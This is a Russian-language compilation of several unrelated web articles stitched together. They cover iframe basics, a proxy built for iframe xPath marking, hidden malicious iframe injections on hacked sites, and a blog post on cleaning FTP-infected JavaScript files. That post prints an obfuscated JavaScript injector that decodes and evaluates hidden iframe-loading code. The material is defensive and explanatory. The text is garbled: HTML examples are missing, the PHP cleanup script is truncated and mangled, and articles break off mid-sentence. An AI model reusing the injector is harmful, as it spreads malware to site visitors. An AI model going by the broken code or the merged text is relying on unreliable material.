На заре сайтостроения веб-ресурсы широко использовали фреймы для отображения отдельных частей страниц. Но с приходом новой версии HTML 5 всё изменилось. Элементы разметки , и признаны устаревшими. Заменой им стал один-единственный тег - . Как добавить в html ? Пример ниже будет понятен даже новичку в программировании.
Что такое фреймы?Фрейм - основа большинства первых веб-страниц. Если переводить дословно, данное слово означает «кадр», то есть фрейм представляет собой небольшую часть страницы в браузере. Повсеместное использование фреймов в прошлом можно объяснить низким качеством и дороговизной интернет-трафика. Как правило, сайт разбивался на 3-5 частей, каждая из которых выполняла определённое назначение:
Разбивка страницы на части позволяла перегрузить лишь некоторую часть при её обновлении. Например, пользователь нажимал пункт меню, и в центральный фрейм закачивалось новое содержимое.
Современные фреймы в HTML 5Зачем нужен в HTML ? Пример - вставка контента стороннего ресурса. Классической является ситуация, когда веб-разработчик желает показать положение объекта на карте. Как быть? Отрисовывать план местности с нуля? Нет - есть более простое решение: встроить на страницу элемент Google Map, Яндекс Карты или 2ГИС. Задача решается в четыре действия.
Дополнительно можно выбрать размер карты и настроить другие опции отображения.
Как ещё можно использовать в HTML ? Пример - вставка видеоматериалов с ресурса Youtube. Мультимедиа-технологии привлекают пользователей Интернета, поэтому видеоконтент столь популярен. С установкой ролика разработчик справится быстро.
В обоих примерах использовалась автоматическое формирование кода, но профессиональные разработчики должны уметь сами составлять его. Во-первых, это позволит им разобраться в вёрстке страницы и при необходимости модифицировать её. Во-вторых, не всегда разметка элементов сайта (даже несмотря на то, что они принадлежат внешнему ресурсу), образуется без участия веб-мастера. Вот здесь и проявляется высокая квалификация разработчика.
Итак, прежде чем приступить к вёрстке страницы, необходимо рассмотреть тег iframe (html): что это такое и как правильно его использовать.
Прежде всего, нужно отметить, что тег парный. Между открывающимся и закрывающимся элементами указывают содержимое, которое будет отображаться в браузерах, не поддерживающих данный элемент разметки. Основные атрибуты тега:
Таким образом, получен код для . HTML-пример полностью продемонстрирован ниже:
В приведённой разметке достаточно заменить адрес сайта на любой другой и, если это необходимо, скорректировать размеры фрейма.
Сделали аналог инструмента Google Webmaster Marker. Напомню, что Marker это инструмент в кабинете Google Webmaster, который позволяет аннотировать ваши страницы Open Graph тегами. Для этого вы просто выделяете мышкой кусок текста на странице и указываете что это title, а это рейтинг. Ваша страница при этом грузится в Iframe в кабинете вебмастера.
Теперь Google, встретив подобную страницу на вашем сайте, уже знает, что за контент на ней опубликован, и как его красиво распарсить в сущность (статью, товар, видео..)
Нам был нужен подобный функционал. Задача казалась несложной и исключительно клиентсайд. Однако на практике решение лежит на стыке клиентсайда и серверсайда («чистые» JS программисты могу ничего не знать про различные прокси серверы и очень долго подходить к снаряду). При этом я не нашел в интернетах статью которая описывала бы всю технологию от начала до конца. Также хочется сказать спасибо пользователю BeLove и нашим безопасникам за помощь.
В нашем случае хотелось чтобы вебмастер мог удобно (пометив мышкой) получить значение xPath к определенным элементам на своей странице.
Iframe «Same Origin» И так в нашей админке человек должен ввести URL страницы своего сайта, мы отобразим ее в iFrame, человек тыкнет мышкой куда надо, мы получим искомый xPath. Все бы ОК, но у нас нет доступа к контенту страницы с другого домена загруженной в iframe в нашей админке (наш домен), из за политики безопасности браузера.CORS - Cross origin resource sharing Одни люди мне посоветовали использовать CORS. Модная технология которая решает множество проблем с доступом к контенту с другого домена в браузере и позволяет обойти same origin policy ограничения.
Однако:
Конкретно значение allow-same-origin (вернее его отсутствие) всего лишь говорит что iframe нужно всегда расценивать как загруженный с чужого домена (нельзя например из такого фрейма послать AJAX запрос на домен родительского документа)
Посмотрим как сделано у Google Время рисеча того, как сделано у большого брата
Обратим внимание на аттрибут src элемента iframe: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - наша страница грузится в админку с домена Google. Далее еще более сурово: даже скрипты и картинки в исходном документе прогоняются через прокси. Все src, href… заменены в html на проксированные. Примерно вот так:
Все ресурсы которые использует ваша страница еще и сохраняются на прокси серверах Гугл. Вот например наш .
CGIProxy? Сразу показалось, чтобы сделать тоже самое нужно поднимать полноценный прокси по типу CGIProxy . Этот прокси сервер делает примерно тоже самое, чем промышляет гугловский wmthighlighter.googleusercontent.comОбязательно определяем кодировку страницы (через http ответ или charset в html) - наш прокси должен ответить в той же кодировке что и страница которую мы загрузили. Так же определим Content-Type на всякий случай, хотя и так понятно что мы получаем страницу в text/html и отдадим ее так же.
final String url = request.getParameter("url");
final HttpGet requestApache = new HttpGet(url);
final HttpClient httpClient = new DefaultHttpClient();
final HttpResponse responseApache = httpClient.execute(requestApache);
final HttpEntity entity = responseApache.getEntity();
final String encoding = EntityUtils.getContentCharSet(entity);
final String mime = EntityUtils.getContentMimeType(entity);
String responseText = IOUtils.toString(entity.getContent(), encoding);
*Для любителей оценить чужой код: у нас в команде у всех одинаковые настройки форматирования кода eclicpse, и при сохранении файла эклипс сам дописывает ко всем переменным final если они более нигде не меняются. Что кстати довольно удобно в итоге.
Приплыли, мы разломали наше собственное решение с обходом кроссдоменных ограничений. Теперь мы снова не можем достучаться до контента iframe.
Продолжая ресечить решение от гугла я открыл нашу страницу отдающуюся через прокси в отдельном окне
И обратил внимание на странную ошибку в консоли.
CrossPageChannel: Can"t connect, peer window-object not set.
Стало ясно что все организованно сложнее, чем просто загрузить страницу в iframe со своего домена. Страницы общаются между собой. Соответственно двигаемся в сторону window.postMessage
Вот пример запроксированной главной страницы Хабра с внедренным скриптом:
http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360
Добавим еще секьюрности
Окей, у нас все заработало, однако есть момент с тем, что наш прокси смотрит в мир совершенно незащищенный. Кто угодно может запроксировать что угодно. Ставим перед прокси nginx, он слушает 80 порт, сам прокси убираем на другой порт. Все другие порты кроме 80 закрываем от внешнего мира.
Теперь сделаем так чтобы прокси работал только через панель администратора. В момент когда вебмастер вводит URL своего сайта мы быстро бегаем на сервер где генерим md5 хэш от текущего TimeStamp + 1 час, самой URL и суперсекретного когда:
final String md5Me = timeStampExpires + urlEncoded + "SUPERSECRET";
final MessageDigest md = MessageDigest.getInstance("MD5");
md.reset();
md.update(md5Me.getBytes("UTF-8"));
String code = Base64.encodeBase64String(md.digest());
code = code.replaceAll("/", "_");
code = code.replaceAll("\\+","-");
Так же обратите внимание что в коде мы получачаем md5 строку не как привычный hex, а в base64 кодировке, плюс в полученном md5 мы делаем странные замены символов слэша и плюса на подчеркивание и тире.
Дело в том что ngnix использует base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
А Java дает каноничсекий base64.
Получив в нашей админке ответ от сервера с секьюрной md5, мы пытаемся загрузить в iframe вот такой url:
highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582
Теперь настраиваем модуль nginx HttpSecureLinkModule . Этот модуль сверяет md5 всех параметров которые к нему пришли (в модуле прописан тот же секретный ключ что и в сервлете админки), проверяет не проэкпарйилась ли ссылка и только в этом случае пробрасывает запрос на наш прокси сервлет.
Теперь никто не может воспользоваться нашим прокси не из админки, а так же не может куда-нибудь вставить запроксированную на наш сервер картинку - она все равно умрет через час.
That"s all folks! Гугл в своем инструменте marker естественно ушел намного дальше. Для того чтобы четко идентифицировать элемент на странице, нужно пометить один и тот же элемент (например, заголовок статьи) на нескольких однотипных страницах, чтобы можно было точнее построить xpath и отбросить разные id типа «post-2334» которые явно сработают только на одной странице. В нашей админке пока xpath надо поправить руками, чтобы получить приемлимый результатОдним из наиболее частых способов заражения компьютера посетителей сайтов является использование уязвимости, связанной с переполнением буферов браузеров пользователей. Рецепт достаточно прост. Злоумышленники внедряют вредоносный код вставкой iframe на страницы сайта и пытаются загрузить на компьютер ничего не подозревающего пользователя вредоносные файлы. Обнаружить подобные вредоносные врезки на ваших сайтах достаточно легко. Стоит лишь обратить внимание на фрагменты кода, в которых используется подключение iframe. Такие вставки могут быть как в HTML, так и в PHP файлах.
Злоумышленники почти всегда пытаются максимально скрыть от владельцев использование вредоносных ставок, скрывая их визуально для пользователей ресурса и обфусцируя (запутывая) свой код.
Скрытие iframe вставок от глаз пользователейДля маскировки вредоносной вставки хакеры в большинстве случаев применяют один и тот же метод раз за разом - выставляют свойства тега так, чтобы он не отображался на странице, но содержался в ее коде. Чаще всего, выставляется нулевая или однопикселевая ширина и длина: width="1px", height="1px".
Например, вредоносный код может выглядеть так:
Однако, часто такой маскировкой хакеры не ограничиваются, дополняя сокрытие более изощренными приемами, способными сбить с толку и усложнить поиск и устранение даже продвинутым программистам.
ОбфускацияЭто один из наиболее часто встречаемых способов защиты кода в программировании на неструктурированных языках (таких, как, например, PHP). Фактически, все шифрование заключается в самом перепутывании/запутывании кода за счет изменения имен переменных и других элементов. Как результат - распознать признаки вредоносности в запутанном коде достаточно тяжело и возможно лишь по косвенным признакам использования в явном виде специальных JS (JavaScript) функций, используемых как раз для обфускации: unescape , fromCharCode .
Однако, обнаружение обфусцированного кода на сайте не означает однозначной его вредоносности или легкости устранения. Нужно понимать, что, во-первых, злоумышленники могли обфусцировать код, захватив еще и часть рабочего кода сайта. В таком случае, при попытке вырезания зашифрованного фрагмента вы рискуете обрушить ваш ресурс. Во-вторых, обфусцированный код может не быть вредоносным, а лишь являться следствием работы вашей CMS или отдельных ее компонентов, а также, установленных вами дополнительных модулей.
В любом случае, если вы столкнулись с подозрительным обфусцированным кодом, нужно действовать с максимальной аккуратность.
Прочие признаки зараженияЕсли вы сомневаетесь, является ли найденный вами код вредоносным, то можно попробовать проанализировать косвенные признаки. При наличии большого числа файлов на вашем сайте, вы можете обратить внимание на дату и время последнего изменения файлов. В случае, если вы хорошо знаете сценарии работы своей CMS с файлами, то можете присмотреться к файлам, измененным в одну дату в одно и то же время, или с изменениями, идущими с одинаковым интервалом времени, например, 1 секунда.
В случае, если вы являетесь продвинутым программистом, то можете написать скрипт, проверяющий наличии обнаруженного вами типа вставок на всех файлах вашего сайта. Если вы еще более продвинуты - можете заставить скрипт вырезать вставки, однако, всегда нужно быть аккуратным.
Альтернативные методыМы рекомендуем вам использовать сервис Вирусдай для удаления вредоносных вставок на даже в тех случаях, когда вы являетесь продвинутым специалистом. Наш сервис не только содержит множество сигнатур, по которым находит вредоносные коды, но и экономит время! К тому же, стоимость использования Вирусдая для чистки будет, вероятно, намного ниже, чем оплата вашего же рабочего времени. Вы сможете обнаружить и удалить не только iframe вставки, но и множество других угроз. Вероятно, вы сможете найти и автоматически удалить угрозу, приведшую к появлению iframe вставок на вашем сайте, такую, как, например, Шелл.
Команда сервиса Вирусдай.
Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет!
А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами .
Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились.
Пятница недели стала последней каплей и я потратил день на защиту своих серверов:
Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в.php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением.js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например:
| try { q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; } catch (qw) { h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; } try { qwe= prototype ; } catch (brebr) { zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h) ? "ode" : "" ; w= this ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr (1 ) ) ; for (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) { k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ; } q= ss; e(q) ; } |
try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz="a"+"l";f="fr"+"om"+"Ch";f+="arC";}try{qwe=prototype;}catch(brebr){zz="zv".substr(123-122)+zz;ss=;f+=(h)?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}
Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов.
Настройка.ftpaccess — ограничиваем доступ по фтп к серверамВирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл.ftpaccess с содержимым:
Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all
Где xx.xx.xx.xx - это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания.
За выделенным IP звоним провайдеру!
Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так:
Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all
Это позволит ограничить доступ взломщикам к вашим серверам.
Скрипт автоудаления из всех файлов вставок iframe’овПосле того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из.js скриптов:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | $v) { $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $virus_text = substr ($v , $pos_start , $pos_end ) ; if ($virus_text != "" ) { if (! stristr ($v , $virus_text ) ) { $nfile = $v ; } else { if (! $flag ) { $flag = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo " - skipped" ; else { echo " - infected" ; $GLOBALS [ "num_infected" ] ++; } } } } else { $nfile = $v ; } } if ( $GLOBALS [ "del" ] ) { $file = fopen ($filename , "w" ) ; fwrite ($file , implode ($nfile , "" ) ) ; fclose ($file ) ; } } dir_walk("del_virus" , $dir , array ("js" ) , true , $dir ) ; echo "Num infected = $num_infected " ; ?& gt; |
$v) { $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - skipped"; else { echo " - infected"; $GLOBALS["num_infected"]++; } } } } else { $nfile=$v; } } if ($GLOBALS["del"]) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Num infected = $num_infected "; ?>
Проверка сайта на вирусы часто не выявляет iframe вставки, которые могут включать ссылки на сомнительные сайты, но новая версия WP плагина AntiVirus укажет их.
Iframe вставки сами по себе не являются вредоносным кодом, поэтому зачастую не определяются онлайн-сервисами по проверке сайта на вирусы. С помощью Iframe вставок часто загружают файлы, которые могут располагаться на внешнем ресурсе. Например, этот способ может использоваться для загрузки видеоролика на Ваш сайт с You Tube. Но очень часто iframe вставки применяются злоумышленниками для загрузки на сайт жертвы файлов подозрительного содержания.
Я уже писал, что неоднократно сталкивался с явно зараженными сайтами, но их проверка на ресурсе antivirus-alarm.ru с использованием баз данных ведущих антивирусных разработчиков не выявляла ничего подозрительного. Проверка же на 2ip.ru выдавала наличие подозрительных iframe вставок, но без указания конкретного места в коде, где их можно найти. Так же не указывалось, являются ли эти вставки полезными или вредоносными.
Но с выходом последней версии WP плагина ситуация изменилась. По заверению разработчика этот плагин теперь показывает iframe вставки. А Вы уже сами в состоянии будете определить вредны они или нет. Зная, как выглядит iframe вставка:
в случае, если плагин ее обнаружил, по тому, адрес какого ресурса указан в этой вставке, легко определиться к полезной или вредной ее отнести.
В отличие от антивирусов для компьютеров, которые сами находят и сами удаляют вредоносный код, большинство антивирусов для сайта, такие, как AntiVirus, и только находят подозрительный с их точки зрения код. Решение об его удалении и само удаление проводится пользователем. Причем новичкам, не ориентирующимся в PHP, реально поможет только плагин TAC, предназначенный для проверки темы. Мне известен только один плагин , который не только находит, но и удаляет нехороший код. К сожалению, данный плагин обладает одной неприятной особенностью. Если он не справляется с заражением на сайте, то он блокирует доступ к сайту, не спрашивая но это разрешения.
Поэтому не стоит ставить антивирусные плагины, если с Вашим сайтом ничего подозрительного не происходит. Для профилактичекой проверки сайта на вирусы разумнее использовать онлайн-сервисы, упомянутые выше. Только после того, как на этих сервисах было выявлено нечто подозрительное, можно обратиться к плагинам, которые могут помочь конкретизировать место расположения вредоносного кода. Для этого опять же не у всех хватит квалификации. Новичкам будет проще обратиться за помощью к тех. поддержке хостинга.
Львиная доля сайтов заражается после заражения компьютера хозяина. В результате чего похищаются логин и пароль от админ. панели или от хостинга. И лишь небольшая часть заражается в результате взлома. Поэтому наиважнейшей мерой по защите сайта является поддержание безопасности Вашего ПК. Не стоит забывать, что на компьютере помимо должен стоять хороший .
